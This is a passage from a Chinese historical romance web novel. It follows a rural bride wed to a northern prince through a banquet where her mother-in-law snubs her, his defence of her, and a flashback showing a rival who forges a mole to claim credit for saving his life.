倒是好笑，魏珩素来擅字，一手楷行隶草笔迹刚劲，行云流水，常得魏父夸赞，娶了个小妻，倒是连一纸经文都抄得狼狈，倘若让旁人知晓，定要笑掉大牙。 魏珩迫近一步，居高临下地审视着沈青棠。 她居家的时候倒很惬意放松，一头乌发仅用锦葵红的发带松松束缚，鬓边垂下几缕，悠悠荡着，衔入沈青棠微启的红唇，有点碍眼。 偏她做了亏心事，眼下心惊胆战立着，连捋发都不敢。 魏珩抬指勾过沈青棠颊侧的那一缕发，挽到她的耳后。 男人白皙修长的指尖，抵在软韧的耳廓，渡来一重凉意，也惹得沈青棠情不自禁地战栗一瞬。 魏珩在触碰到沈青棠耳珠的霎那，竟看到她耳后的雪肤长着一颗艳丽如血的红痣。 魏珩不知想到什么，一双狭长美目倏地冷了下去，他微眯墨眸，俯地更低，静静逡巡那一颗圆润玲珑的小痣。 魏珩忽然靠得这般近，温热的鼻息，簌簌扑在沈青棠耳后薄软的玉肤之上，像是突如其来的山火，燎着她那棉絮似的绒绒碎发，令她无所适从。 沈青棠觉得痒，下意识想躲。 可就在此刻，她的后颈，忽然被一只宽大的手掌囚住。 魏珩的掌心厚重温热，捏着她颈骨的力道很重。 仿佛只要她挣扎一瞬，他就会收拢五指，毫不留情地将她折殒手心。 他一手握住她的后颈，一手抚向她耳后薄皮。 沈青棠被他的手指烫得一个激灵，心脏嗡鸣，几乎破膛而出，下意识咬住了唇，犹如惊弓之鸟一般缩紧腰.窝。 那点脆弱的软.肉，很快被魏珩揉红。 沈青棠不知魏珩想做什么，可她又在心底安慰自己……他是她的夫婿，他想做什么都可以，此为夫妻间的亲昵，她要适应，她要习惯。 沈青棠全无保留地奉献自己。 她胆战心惊地感受他的摩.挲。 她任他逞凶斗恶，任他肆意妄为。 男人常年用剑，手上薄茧厚重，生着粗粝的纹路，细细碾入耳后，带着难以言说的撩人痒意。 不过细微刁钻的一捻一搓，竟也令沈青棠鼻翼生汗，隐有雷云电花自她的颈骨一寸寸蔓延上来。 “你这颗痣……生来就有？” 魏珩那犹如金石相击的清润嗓音，灌入沈青棠的耳朵。 自此，沈青棠终于明白魏珩在摸什么了。 他在摸她耳朵后面的红痣。 沈青棠：”是生来就有的。” 魏珩没有再问。 明明是稀松平常的一句问话，却让沈青棠感到羞赧。 她怀疑是自己多心，毕竟魏珩不过轻描淡写说一句“耳朵有痣”，并无其他狎昵的含义。 可这般点明身上红痣、胎记的所在位置，又令人觉出一种难言的亲昵与暧昧。 仿佛她在他面前无处遁形，成了一具不着.丝缕的赤.裸肉.身。 她待他坦诚，毫无芥蒂，身上每一寸骨血皮肉，都该被他仔细端详，深重爱.抚，逐一碾.磨。 好在，几息之后，魏珩放过了她。 他松了手，又取来湿泞泞的帕子，一点一点帮沈青棠擦去颊侧的墨迹。 “不必挑灯熬夜抄经，这等小事，命下人代笔便是。” 沈青棠的下巴，被魏珩泛凉的手指挑起。 她睁着汪亮杏眼，仰面凝望眼前清辉玉映的男人，心虚地道：“可这是烧给先王的经文，不好怠慢……” 魏珩轻嗤一声：“人死身消，地底下埋着的，不过是一具白骨、一抔腐肉，诵再多的经文，父亲也听不到。再者……每年忌辰，太妃都会请北道法华寺的法师抄经供灯，你抄的这些经文，不会奉于先王灵前，又何必白费心力。” 魏珩深谙宅门的争斗，这些事不过是姜氏用来折辱沈青棠的手段，他又怎会让姜氏称心如意？ 不等沈青棠再辩，魏珩已然唤来下人：“在外寻几个抄经生誊写经文，务必赶在先王忌辰之前，将誊本送回赵王府。” 沈青棠怔住：“要是太妃疑心这是旁人抄誊的经文怎么办？” 魏珩淡扫沈青棠一眼，“她不敢。” 有时，他当真觉得自己娶的小妻有点傻气。 此为王府，以魏室为尊。 即便魏珩指鹿为马，颠倒黑白，旁人也不敢置喙半句，又怕什么太妃怪罪？ - 夜里，沈青棠漱齿洗脸后，爬上床榻。 她老老实实蜷进蝶恋花纹粉底锦被，等着魏珩沐浴归来，熄灯上榻。 许是几夜的相处，沈青棠对魏珩已有一点熟悉，和他同床共枕，也不像从前那般拘谨。 等魏珩上榻，沈青棠想到自己夜里脚冷，而魏珩体热……她想粘着他睡，也好取暖，故而殷勤地帮他掀开被角，作势挨近他一寸。 可不等沈青棠挪近，魏珩忽的摁住她的肩膀，低声告诫：“沈青棠，我明日还要早起练兵……若你有需，取玉势、角先生自、渎便是。” 避孕事的秘药还未备下，魏珩不会碰她。 沈青棠怔忪片刻，心道：她没想和魏珩行房啊……她只是想和他挤一个被窝，大家一起取暖。从前她在匪寨度日，隆冬难熬，还将香软的小羊羔抱到炕床上一同入睡呢！ 可魏珩三番两次拒绝房事，沈青棠再愚钝，也懂了他的难言之隐。 难不成是他起势艰难，偶有不举？ 沈青棠轻叹一口气：“王爷，今晚罗嬷嬷给我炖了一盅姜母鸭汤。说是益气养肾，对男子很好……明日也喊嬷嬷给你炖一盅吧？” 魏珩冷淡：“不必。” 沈青棠委婉劝道：“我知你的难处……王爷，我既与你成了夫妻，便不会舍你而去。即便你有隐疾也无碍，我不会嫌弃你。” 魏珩何等聪慧，怎会不明沈青棠旁敲侧击的暗示？ 她竟以为他不能人事？ 魏珩薄唇微抿，墨眸渐沉，他压抑片刻，还是从被衾之中，攥住沈青棠的手，将她猛地拽近，抵在了紧绷遒劲的窄腰之上。 自此，沈青棠明白了，魏珩龙精虎猛，并无难言之隐。 分明是一手难以满握，连虎口都能被硌得酸痛。 沈青棠回魂了，她想到新婚夜的艰涩，终是不敢再开口撩拨。 “是我小觑王爷了……” 沈青棠结结巴巴说了一句，又老实缩回手，背对着魏珩睡下了。 10、第十章 第十章 十一月底，冬至。 赵王府设下亚岁宴，北道四州的豪族阀阅无不以接到王府请柬为荣。 一时间，王府外头车马盈门，宾客如云。 金钉大门两侧，侍立着两排丫鬟婆子，一旦有贵客入席，便殷勤上前，递脚凳、塞手炉、撑伞挡雪，半点不敢让宾客淋雪受凉。 入了王府正门，另有练达老成的姚管事站在琉璃影壁前，笑着迎来送往，再根据各府的人丁、声望、家世，有序地安排主次座位，送入筵席。 此次亚岁宴，光是置办河鲜山珍、暖洞子培的瓜果冬菜、饴糖果脯，就花去了上千两白银，更别说那些铺陈饭厅的钧窑瓷皿、用于踩踏的地衣毛毯，得价值几何了。 好在魏珩父子多年来镇守北道，扶持桑牧，兼营矿冶，几十年积累下来，家赀早已不计其数。 府上家底殷实，自然不怕姜氏那点宅门里头的铺张挥霍。 前头院子招待宾客，后头公厨忙得不可开交。 姜氏假借“教导宴饮中馈之道”，唤沈青棠过来公灶随侍。 听着像是婆母善待儿媳妇，欲言传身教，交接手中掌家大权。 实则是姜氏想寻个名目，正大光明奚落沈青棠这等乡下小妇。 姜氏心知肚明，沈青棠如今有魏珩罩着，她动她不得。但婆母指点儿媳主持宴会，实乃规矩分内，任谁都挑不出错来。 姜氏有心挑剔沈青棠，故意让丫鬟婆子取出一只只不同官窑烧出的瓷皿，供她挑选宴饮所用的餐碟碗筷。 只要沈青棠说错一句，姜氏便会冷笑一声，讥嘲：“这些待客接物之道，寻常女孩七岁便要学起，你怎不会？可是亲家母没有用心教你？” 说完，她又佯装恍然大悟：“哦，我倒忘了，亲家母仙逝，你自幼丧母，自然不通这些礼数……” 姜氏这话说得难听，暗指沈青棠有娘生没娘教，才会长成这般顽劣粗鄙的性子。 姜氏骂点别的，沈青棠还能左耳进右耳出，可偏偏她骂的是沈母…… 沈母在沈青棠三岁那年离世。 对于母亲的记忆，沈青棠早已模糊不清，可她唯独记得娘亲性柔爱笑，抱着她时，身上还有好闻的桃子香气。 沈青棠的指尖微颤，唇色发白，良久无言。 身后的秀珠看出一点端倪——姜氏训斥得太过，分明在公报私仇，毕竟哪家长辈会这般戳人伤疤？怪难听的。 秀珠心气不平，作势要去找罗嬷嬷撑腰，可沈青棠却看出她的动作，一把抓住了她的手，暗下对她摇摇头。 婆媳不睦嘛，实属常事。 沈青棠既享受王府的金银富贵，还拥有经天纬地的英武夫君，受点委屈，也是理所应当。 即便秀珠不去告状，也有罗嬷嬷的耳目将后院诸事，事无巨细通通禀报于她。 罗嬷嬷拨弄佛珠的指骨顿住，眉峰舒缓，“倒是个擅忍的好姑娘。” 罗嬷嬷思忖了一会儿，还是召来信鹰，给军所报信儿去了。 - 亚岁宴开始了。 花梨锦桌上摆满了山珍海味、佳酿甜饮，正中央还有一座用糕饼、乳酪、干果堆垒的塔山，缀以红棉金线，再剪一张“阳”字喜纸，寓意迎阳添喜。 王太妃未到，即便发话让宾客们随意动筷，也无人会僭越开宴。 客人都是高门大户出身，谁家都不差那口吃的。 只在丫鬟们奉上净口的茶汤后，喊来教养嬷嬷们，将耐不住饿的哥儿姐儿领去偏房暖阁，喂一口笋丝年糕汤，或是瑞兔赤豆汤圆，垫一垫肚子。 檀州姜家立足北道百余年，门厅煊赫，门生旧故遍及四州，又与周国魏室缔结姻亲，自然得高坐首席，受士族逢迎追捧。 席上，姜老夫人作为王府岳家，笑着与众人寒暄，帮着操持家宴。 四房的六姑娘姜窈见无人看她，忍不住动筷，想夹一块莲蓉糕甜甜嘴。 筷子刚拎起来，就被四夫人一巴掌拍落，吓得她一个哆嗦。 四夫人恨铁不成钢地低骂：“就这点时辰都饿不住？你饿死鬼投胎么！” 姜窈颇为委屈：“夜里要赴宴，我都跟着娘亲试了一下午衣裙，一口甜汤没喝上，自然是饿了。” 四夫人听得心惊肉跳，赶忙去捂自家闺女的嘴：“小祖宗，可闭嘴吧，这让人听见，成什么样子？” 四夫人出身不高，不过是檀州司法参军之女，因她生得颜色好，被四爷瞧中，嫁进百年世家姜氏。 也是如此，她事事拘谨小心，生怕被旁人瞧出小户女的寒酸贫气。 这般家宴，对于旁人来说是司空见惯的筵席，可对于四夫人来说，却是从前望而却步的皇家大宴，又怎敢不悉心对待？ 四夫人被女儿呛了一嘴，心中不免悲切，果真是“龙生龙凤生凤老鼠的孩子会打洞”，她怎就生出这么个嗜吃多话的女孩儿？ 这小家子气的做派，半点都及不上二房那位五姑娘姜若水。 四夫人咬牙切齿：“再有几日，你五姐姐就游学回来过年关了，你多和她学学世家淑女待人接物的仪态，免得日后出门贻笑大方！” 听到那句五姐姐，姜窈瞬间倒了胃口，讪讪罢筷，连甜糕都不想吃了。 旁人都说，姜家这位五姑娘姜若水才貌超群、文采卓绝，北道的世家公子为了求娶姜若水为妻，险些把姜家的门槛踩塌了！ 可姜窈却想，倘若五姐姐当真那般好，魏家大表哥又为何非娶一名乡下农女，却不愿娶她？要知道，六年前，魏珩遇袭，姜若水还救过他一命呢！ 姜窈不喜欢姜若水，想到她要回府过年，如临大敌。 年关的时候，她肯定又要被人单拎出来同堂姐比较，做那衬托娇花的绿叶了。 胡思乱想间，席间的嬉闹声骤降。 姜窈心中微动，明白这是王太妃和王妃驾到，众人都在翘首以盼，想见一见这位麻雀变凤凰的赵王妃沈青棠。 姜窈也对沈青棠感到好奇，她忍不住仰颈，朝远处廊庑眺望。 只见挂满煌煌红绡灯的屋檐底下，缓步行来一名女子。 她穿着一身橘橙底缠枝金纹袄裙，腕戴一双羊脂白细镯，梳着流苏髻，几条珠翠珍珠点缀的槐花黄绿丝带，轻轻柔柔垂落脑后，搭在削瘦的肩头，衬得那张雪腻小脸愈发琼丽娇媚。 杏眸、樱唇、琼鼻，五官无一不精致，身段亦窈窕秾艳……这等风姿，堪称北境罕有，比之五姑娘姜若水也不遑多让。 此女竟然就是那个高嫁的赵王妃？ 姜窈被沈青棠惊艳到了，一时间连口鼻气息都窒住了。 姜窈不免疑心，魏大表哥执意要娶沈青棠，怕不是被她的美色蛊惑吧？ 但也不应该啊，魏珩自己就生得雪胎梅骨，颇有姿色，不至于被女子的殊色引诱。 - 沈青棠跟着姜氏走向远处待客的花厅。 甫一进屋，她就感受到四面八方递来的敏锐目光。 那些视线有探究、好奇、讥讽，恶意善意什么情绪都有，实在令人浑身不适。 宴厅的气氛骤然冷凝起来。 还是姜老夫人打破了这一重寂静，她朝着沈青棠招招手，笑道：“这就是我那外孙媳妇吧？” 沈青棠乖巧地行礼：“青棠见过外祖母。” 姜老夫人是魏珩的嫡亲外祖母，却不是太妃姜氏的生母，细数起来，倒和沈青棠关系更近。 府上一应庶务族事都尽数掌控于姜老家主的手中，姜老夫人不过是个内宅妇人，插不上半句话。 真让她来决断的话，她是不忍心抬举一个庶女去填她那早逝嫡女的房。 这要是让九泉之下的女儿知道，该有多恶心？ 无奈姜家要同赵王府绑在一条船上，只能通过姻亲，缔结两家关系。 她也知道，姜老家主还想将姜若水许配给魏珩，亲上加亲。 奈何魏父横插一脚，毁了这门亲事，倒教姜老家主几夜不曾合眼，猜忌这位天家女婿是否羽翼丰满，想要卸磨杀驴，与从前助他扎根的岳家撇清干系…… 姜老夫人细细打量眼前的外孙媳妇，瞧她胸臀饱满、月貌花容，倒是个福缘深重的样貌。 姜老夫人笑道：“真是个嘴甜的，倘若宁姐儿在世，也会喜欢你的。” 说完，姜老夫人褪下腕上的檀木珠串，戴到了沈青棠的手上，又重重捏了下小姑娘的手，将掌心暖意渡给她。 宁姐儿是魏珩生母的小称。 也就只有姜老夫人有这般的胆子，敢在王太妃姜氏面前，提及先太妃，落她的脸面。 太妃姜氏顿时脸色难看，她不敢瞪自家嫡母，只能去瞪惹事的沈青棠。 沈青棠不懂这些家宅的弯弯绕，她只觉得姜老夫人说话和善可亲，并不像她想象中那般凶恶。 沈青棠欢喜地收下见面礼，还给姜老夫人端了一盏花茶润喉。 主人家到了，众人动筷用膳。 沈青棠落座还没来得及吃上一口点心，就被姜氏喊去见客。 沈青棠无法，只能搁下筷子，站起身帮忙接待客人。 东暖厅的宾客大多都是上流世家的官眷，需尽心招待。 西暖厅则不同，落座的都是些末流世家的女眷，不值当姜氏费心斡旋，可姜氏却最喜欢在西暖厅久留。 因着这些世家夫人统统倚仗赵王府的鼻息度日，待姜氏也多有敬重，不敢有半分怠慢，甚至姜氏人还未至暖厅，诸位夫人们就已经放下筷子，纷纷起身给二人下拜纳福。 暖厅里除却一些州郡官眷，还有几位曾是姜氏闺中手帕交的世家夫人。 从前待字闺中，几人都是家中不起眼的庶女，彼此结识一场，抱怨两句家中嫡母尖酸刻薄，还算融洽。 偏偏姜氏走了好运道，竟成了老王爷的正妻，虽说膝下无子，且是替嫡姐养儿子，可魏珩争气，在外军威深重，已成气候，前途不可估量，又怎会不令人心中羡慕？ 唯一能任她们私下闲话的，也就只有那位刚娶进门的农女新妇了。 几人约好了一起登门看姜氏笑话，哪知沈青棠生得一点都不像乡野小户女，眉眼水灵，肤光胜雪，不知什么样的脂膏才能保养出这样一身雪腻的皮相，让人想奚落，都无从下嘴。 孟夫人一口闷气压不下去，她碍着家中丈夫子侄都在檀州做官，不好说些闲话，以免惹祸上身。 她想了想，只能拉过沈青棠的手，对姜氏笑道：“太妃好福气，迎进门的王妃也这般水灵，瞧着就是个多子多禄的好姑娘，保不准再过几个月，府上又能添丁进口了。不像我家那口子，新妇娶进门，过了半年肚子里才有好信儿。” 这话看似夸赞沈青棠“好生养”，实则是想把话题引到她家儿媳身上，好教旁人知道，他们家宅是个福缘深厚的，新妇进门半年就怀上身孕了。 仅仅几句话，姜氏便回过味来。 怕是外人都知道，魏珩娶妻后没留几日，立马出关御敌，将新婚妻子舍在家中……沈青棠失宠一事，早成了檀州人尽皆知的笑话，孟夫人笃定魏珩不会为沈青棠出头，开罪她也没什么后果，这才敢拿沈青棠尚且没有动静的肚子，故意来讽刺姜氏也是个不会下蛋的母鸡。 孟夫人的话说得圆滑，乍一听都是好话，倒让姜氏不知该说什么来辩驳。 不等姜氏反唇相讥，墙外忽然响起了纷沓而至的齐整脚步声。 院门大开，朦胧寒冽的夜雾，尽数涌进摆满千枝铜灯的庭院。 一角玄色衣袍掠过，传来令人心惊的猎猎响动。 再抬眼，便见一袭巍峨如山的高大身影，自院外扶剑踱来。 男人宽肩窄腰，背脊挺拔如松，一袭黑狐氅衣披身，出锋皮草掩住线条凛冽的下颌，将那双藏锋寒戾的凤眸，衬得更为冷厉可怖。明明生得一副得天独厚的琼秀面容，偏他气息强势矜贵，半点不似天潢贵胄，倒像是阴司地府前来索魂的罗刹杀神。 此人正是北道藩王魏珩。 不等东西两厅的宾客们起身行礼，魏珩先抬起美目，牵唇讽刺：“本王倒不知，孟夫人热心至此，竟连旁人生子的床笫私事，也要争先打听。” 此话一出，众人浑身一颤，毛骨悚然。 他们总算明白过来……神龙见首不见尾的魏珩为何忽然参宴。 他哪里是生出什么吃酒的闲心，分明是来辟那个“赵王妃不受宠”的谣言，上赶着给自家媳妇撑腰呢！ 11、第十一章 第十一章 魏珩的话不过一句席间的调侃讥嘲，并无发落的意思。 可他贵为北道藩王，话语多重，仅仅一句敲打也够孟家喝一壶的。 孟夫人吓得两股战战，额头冒汗，她心知今日这场挂落吃了，日后那些官署上峰定会找机会给孟家子弟穿小鞋。 孟夫人心中痛恨自己太过嘴贱，非要去讥沈青棠一句，可姜氏却受宠若惊，挺直了腰板，再怎么说，这场子都算是被魏珩找回来了。 魏珩懒得和这些长舌妇计较，他只垂眼打量沈青棠，握了下她的臂骨，女孩的衣袖浸透风雪，令他的掌心也变得冰冷，显见她吹风许久。 魏珩解开身上狐氅，裹到沈青棠的肩上。 温热厚重的大氅倏地披身，险些压得沈青棠一个趔趄。 熟稔雪松涩气强势灌入沈青棠的鼻腔，毛茸茸的狐裘抵在她的下颚，搔得她好痒。 偏偏魏珩还没放过她，他探出两根温玉似的白皙手指，散漫惫懒地拉扯系带，当着众人的面，帮沈青棠披衣缚带。 如此拢得严实，挡住所有风雪，魏珩方才慢条斯理地道：“昨日不是还说身子骨疲乏，染了寒症？不在屋里头歇着，上宴席瞎跑什么？” 沈青棠眨了眨眼睛，她几时染上风寒了？ 她刚要开口争辩，两侧腮帮子又被男人恶趣味地捏住，闷闷地止住了声音。 魏珩偏头看向姜氏，冷声道：“母亲，王妃身子不适，我先带她下去歇息。” 魏珩当着诸位宾客的面，唤姜氏一句“母亲”，也算是赏她一点颜面。 姜氏本就倚仗魏珩的权势，又怎敢与他作对？自是忙不迭答应下来，还对沈青棠嗔怪道：“怎么不早说？倘若为娘知道你昨夜受寒，早早让你歇着去了！” 姜氏如今笑脸相迎的模样，与此前那个尖酸恶婆的嘴脸判若两人，亦让沈青棠明白过来，有魏珩在后宅撑腰，她的日子不会难过。 魏珩身为她的夫婿，即便与她不熟，他亦会行使夫君的职责，护她、敬她、爱重她。 有这么一瞬，沈青棠竟觉身上的狐氅好暖，鼻尖也泛起绵绵的酸。 夜风熏软，没有半点隆冬的寒冽。 魏珩护着沈青棠回到了后院。 路上，沈青棠担忧地问：“太妃这般看重亚岁宴，偏我丢下宾客，跟着王爷走了……会不会有人说我恃宠而骄？” 魏珩神色淡漠，不以为意地勾唇：“只有家中丈夫没用，女眷才会担心开罪外人。” 话中意思便是——沈青棠的夫君乃北地最有权势的男人，她得魏珩宠爱偏袒，就算上房揭瓦，下边也多的是想要搭把手的人。 这样一想，沈青棠又觉得这门婚事结得很好，至少她没受那么多闲气，魏珩也站在她这一边。 等沈青棠推开寝房的门，汤面腾腾的热气儿铺了满脸，她这才看清楚，原来寒香院里早早设了小宴。 桌上置着雪里蕻、鸡丝炖煮的年糕汤、豆粉汤圆、鳝丝羹，还摆着两碗热气腾腾的羊肉水饺。 民谚有云：“冬至不端饺子碗，冻掉耳朵没人管。” 这是北道州郡的节俗，再穷的人家，也要去买半斤白面，揉一锅饺子吃。 沈青棠被姜氏使唤一天，没能吃上两口热食，又要起身接待宾客，腹中饥肠辘辘，早就饿扁了。 老实说，一贯心大的沈青棠，在今日受到姜氏奚落的瞬间，竟也生出那么一点高嫁的悔意。 原来赵王妃位的那二百两月例，拿起来这么烫手，这么辛苦。 可沈青棠劳累一整日，又被婆母嘲讽“娘家无人”，最后魏珩及时赶到，将她救回寒香院……在看到这样一桌精致的冬至夜宴的时候，沈青棠心里的寒意又尽数消散，涌起另一重充盈的暖意。 她的手脚不冷了，鼻子变得好酸。 端碗吃饺子的时候，沈青棠的眼泪蓄在眼眶里，转着转着，没能兜住，竟吧嗒吧嗒落到碗里。 魏珩微微阖目，知道小姑娘面皮嫩，没追问她哭泣的原因，只无奈取帕，帮她擦去颊侧的泪痕，“羊肉饺子就这么香？竟吃到落泪。” 沈青棠不知道说什么好，她不擅长撒娇，也不知该如何讨魏珩欢心，只红着一双眼，吸了吸鼻子，亲近地问他：“王爷，冬天太冷了，我夜里能不能抱着你睡？” 魏珩垂眸看她，不置可否。 可到了晚上，沈青棠洗漱擦身后，还是壮着胆子捱紧魏珩。 她想，她是魏珩明媒正娶的妻子，她不该那么矜持。 爹娘都离世了，她选择魏珩作为她的丈夫、家人，合该与他更近一点。 这般想着，沈青棠小心翼翼伸手，拥住身旁的魏珩。 那股冷冽强势的雪松气息再次萦绕沈青棠的鼻尖，寒浸浸的，如霜似雪，拒人千里。 但沈青棠想煨烫它，刻意将巴掌大的小脸埋到魏珩衣襟微开的胸膛，卖乖地蹭了蹭。 她倒是很守规矩，说抱就只是抱着，侧脸挨靠魏珩，没有用柔软樱唇，或是艳红小舌，舔.舐他的骨血皮肉。 魏珩目光所及之处，唯有一个黑绒绒的脑袋，以及一双牢牢缠住他遒劲窄腰的纤手。 魏珩低头看了一会儿，想到沈青棠一贯有缠抱旁人入睡的习惯，便也随她去，没有狠心搡开胆怯的小妻子。 只是沈青棠头一次清醒的时候抱人，她既羞赧又无措，睡也睡不着，呼出来的热气儿湿漉漉的，淋到那片赤着的胸膛肌理，撩得魏珩有点痒。 果真还是不喜旁人太近。 魏珩冷着眼，伸手去掰沈青棠的脸，试图将她推远。 抬起妻子下颌的瞬间，又对上她狗儿似的湿润黑眸。 魏珩静默片刻，还是松开了一点手间凶悍的力道，任她为所欲为，“你名里的棠字，可是海棠的‘棠’？” 沈青棠点头：“我是五月出生……那时寨子里开着西府海棠，我娘见花色好看，便给我起名‘青棠’。” 西府海棠耐寒喜阳，极容易养护，在北道的山岭间很是常见。并非什么名贵花种，谁都能培育，沈青棠就在寨子里养过几棵。 魏珩问完，不知在想什么，竟半晌无言。 他溜猫逗狗似的随意揉了一把沈青棠的脑袋，拉高被子，同她道：“睡吧。” 这一夜，沈青棠难得一夜好眠，竟睡到了日晒三竿。 她被阳光刺痛眼睛，茫然爬起身，手往床侧一摸，被褥冰凉，魏珩早已走了。 屋外传来翻土的响动，沈青棠披衣下地，推窗去看。 竟是奴仆们挪来几棵西府海棠的树种，帮着栽到院角。 秀珠笑道：“王爷一早吩咐人去集市淘了几棵花树，移植院中，说是王妃喜欢，待来年五月开花，可以在寒香院里品茶赏花。” 沈青棠看着那几棵光秃秃的花树，意识到这是魏珩送她的礼物…… 她的胸腔满涨，心脏也好似裹了一层厚厚的糖浆，琉璃似的饴糖裂开小缝，甜腻温热的蜜汁子，自心窍泊泊淌出。 沈青棠第一次对赵王府生出“家”的感觉，好似她也能像那几棵花树一样，在此地生根发芽，长长久久地生活下去。 - 又过了几日，入了腊月，年关将至。 各家又开始忙碌年节，筹备年货、腊祭，还有熬煮腊八粥，连同赏钱一起，分发给王府各院的奴仆。 沈青棠带着王府里的一些甜糕吃食，抽空去了一趟许家。 沈青棠将那一只十二匣的点心攒盒打开，一样样给许婆婆介绍：“这是水晶脍，这是蜜煎樱桃、这是五香糕……” 除了这些市面上买不着的吃食，沈青棠还给许婆婆、许砚各买了一身夹棉的冬衣。 许婆婆嘴上说，来就来了还带这么多东西，埋怨沈青棠乱花钱，不给自己攒一些体己钱。可看着小姑娘贴心的行径，心里头又一阵熨帖。 老人家关心孩子的方式便是喂食，说着说着又想去杀一只老鸭来炖汤。 许婆婆一走，沈青棠便从包袱里取出一只青玉剑穗。 玉环是她上珠宝铺子里淘来的，孔心缠了银色丝绦，烛光下泛起莹莹如雪的光泽。 “喏，你的生辰礼，可喜欢？” 许砚抿出一点笑意，收下剑穗，“青青姐送的，自然喜欢。” 许砚将剑穗缚到剑柄上，又满怀希冀地问：“青青姐，你除夕那夜能偷跑出来吗？若是可以，我们像少时那样，一道儿过年。” 许是怕沈青棠为难，许砚还补了一句：“多晚都行，我在家中等你。” 原以为沈青棠会好好考虑一番，哪知她摇摇头：“不成的，先不说王府设宴，便是王爷除夕夜也得回府过年啊。” 她既已嫁魏珩为妻，自该和自家夫君一道守岁过年。 许砚一怔，心中失落。 他借着屋中烛光，偷偷看了沈青棠一眼。 灯下的女子面容恬静，嘴角含笑，黄澄澄的烛芒自她的乌发流泻而下，镀上一重柔软温润的光，令人挪不开眼。 从前沈青棠一提到魏珩便一脸如临大敌，可今日她说起魏珩，颊上竟有浅浅梨涡，显然是含着笑意。 想来夫妻二人朝夕相处，同床而眠，再硬的心肠都能焐热，遑论沈青棠是这样心软的人…… 只要魏珩给她一点好处，她就能既往不咎，掏心掏肺地对他好。 12、第十二章 第十二章 北道，南山驿。 一队披坚执锐的精兵，肃穆列阵，镇守官道，不让庶民百姓进驿站落脚，显见是怕这些凡夫俗子冲撞了投宿的贵人。 驿站内，堂倌听从高门婢子的吩咐，战战兢兢提着水桶入屋，连眼风都不敢乱瞄，生怕一个冒渎贵女的罪名落下来，会让他顷刻间尸首异处。 但堂倌担心的事并未发生，反倒是屋里的贵人见他提水艰难，还笑着对一旁的丫鬟清露道：“清露，你去给小兄弟拿点赏钱，也好谢小兄弟提水操劳一场。” 那嗓音温柔娇润，婉若山谷黄鹂，听得人身子都酥了半边。 堂倌没想到自己非但没有惹祸上身，还拿到了赏钱，急忙磕头谢恩：“多谢小娘子，您当真是菩萨心肠！” 清露听到堂倌道谢，一面把钱塞到他怀里，一面得意地道：“那是自然，我们五姑娘人美心善，北道四州无人不夸的！好了，拿了钱便退下吧。” 堂倌走后，清露帮着自家五姑娘姜若水整理新衣，灌好满满一浴桶的热水，继而退出客房。 榻上那名闭目养神的妙龄少女，待房门合拢，方缓慢睁开眼睛，袅袅娜娜地起身，落座镜前。 只见打磨得光可鉴人的银镜内，倒映出一张国色天香的娇颜，眉若柳叶，唇红似霞，生得闭月羞花，宛若画中宓妃。 正是姜家二房的女孩，姜若水。 姜若水坐定后，取出赭石，添水，研磨成红浆。 随后，她又从暗匣里取出骨针，饱蘸红色汁子，对准了耳后那一枚明显变得黯淡的红痣，轻轻扎了下去。 新伤添旧疤，疼得不行。 姜若水忍着痛楚，重新将耳后的小痣纹上赤色，待红痣再度变得鲜明，她方才如释重负放下骨针，取帕子擦去多余的血迹。 为了让耳后这枚小痣风吹不落，雨淋不化，姜若水需得每三月上针一回，方能留住这点艳色。 这是姜若水在魏珩面前的体面，亦是她人前人后都要守住的秘密。 这么多年，她独得魏珩的重视与偏疼，这点小痣的痕迹功不可没。 可是，一贯对她另眼相待的魏珩……怎么忽然娶了一个乡下农女为妻？ 姜若水想不明白，她茫然盯着镜中艳冠群芳的那张俏脸，想起了从前的事。 六年前，姜老家主听从北地藩王魏父的军令，护送粮车，赶往战场前线。 途中，姜老家主发现求援的狼烟，救下昏迷不醒的魏珩。 从亲卫口中，姜老家主得知：外孙在奔赴前线的途中遇刺，得一名十多岁的少女搭救。山中的狼烟、魏珩身上的止血草药，皆是那名少女所为。 魏父不愿亲子受外戚摆布，多年来一直不让魏珩过多亲近外祖家。以至于魏珩长到了十八岁，姜老家主和外孙魏珩都不算熟稔。 由此可见，魏父明显是想与北道世家分割，不愿再牵扯至深。 眼见着赵王府愈发势大，兵力强盛，姜老家主又攀附不得魏父，心中干着急。 既女婿靠不住，姜老家主便生出了拉拢外孙魏珩的心思。 今日，姜老家主得知魏珩中箭毒发，视力不清，连马背都爬不上去……他心念一动，顿时起了偷梁换柱的心思。 姜老家主先从亲卫口中得知：那名救人少女耳后生着一颗红痣，名唤青青。 再杀人灭口，将所有知情的亲卫屠戮山坳，伪造成“王府亲卫护主不力，尽数牺牲，唯独魏珩生还”的假象。 最后，姜老爷子推出二房孙女姜若水，将她耳后点上红痣，送到了魏珩面前。 只可惜，姜老爷子没能寻到那名救人的少女，若是能把她杀了，此局才算天衣无缝。 姜若水被迫守在重伤卧榻的魏珩身边。 没过多久，榻上的少年郎施施然醒转，他生得俊秀，即便一脸苍白病弱，也难掩那通体雍容矜贵的天家气派。 姜若水不是第一次见到这位王世子表哥，但很显然，魏珩扫来的目光冷漠，对她并无印象。 再怎么说，当时的姜若水都只是十二三岁的稚嫩少女，她冒名顶替魏珩的救命恩人，心虚胆怯，不敢说话。 可姜若水想到祖父的嘱托，以及赵王府的煊赫……只能硬着头皮上前，甜甜一笑：“表哥，你怎么在梦里也一直唤我小名‘清清’啊？你身上的伤好些了吗？此前你在山中遇袭，流了好多血，若不是我随祖父途经山道，你怕是要死在那里了！” 魏珩略一皱眉，浓长雪睫轻颤。 他的眼疾尚未痊愈，隐约只能看到一点眉眼轮廓，以及色彩浓艳之物。 他隐约记得有一名唤作“青青”的少女救了他，不但帮他燃起求援的狼烟，还喂他服下镇痛护心的药丸…… 魏珩毒发，视物不清，意识迷离，他没看清人脸，隐隐只记得对方靠近时，耳后有一颗刺目灼眼的红痣。 魏珩嗓音低哑：“是你救了我？” 姜若水眨眨眼睛：“当然了，除了我还能有谁？” 闻言，魏珩并未流露出喜色，而是微微拧眉，冷厉唤了一声：“章远何在？！” 章远乃魏珩麾下亲卫，待魏珩忠心耿耿，此前遭遇刺客突袭，还为他挡下了一箭。 魏珩连喊几声，牵连胸膛伤势，硬是吐出一口鲜血。 可见他伤势之危急，倘若晚上一步，怕是性命不保。 姜若水见他咳血，着急递帕，对他道：“珩表哥别喊了……你的亲卫为了护主，尽数罹难，无一生还，祖父已经命人收殓英烈尸骨，将他们入土安葬了。” 魏珩指尖一动，薄唇紧抿。 良久，他瞥见姜若水耳后的那一颗艳如血珠的红痣，终是什么话都没说。 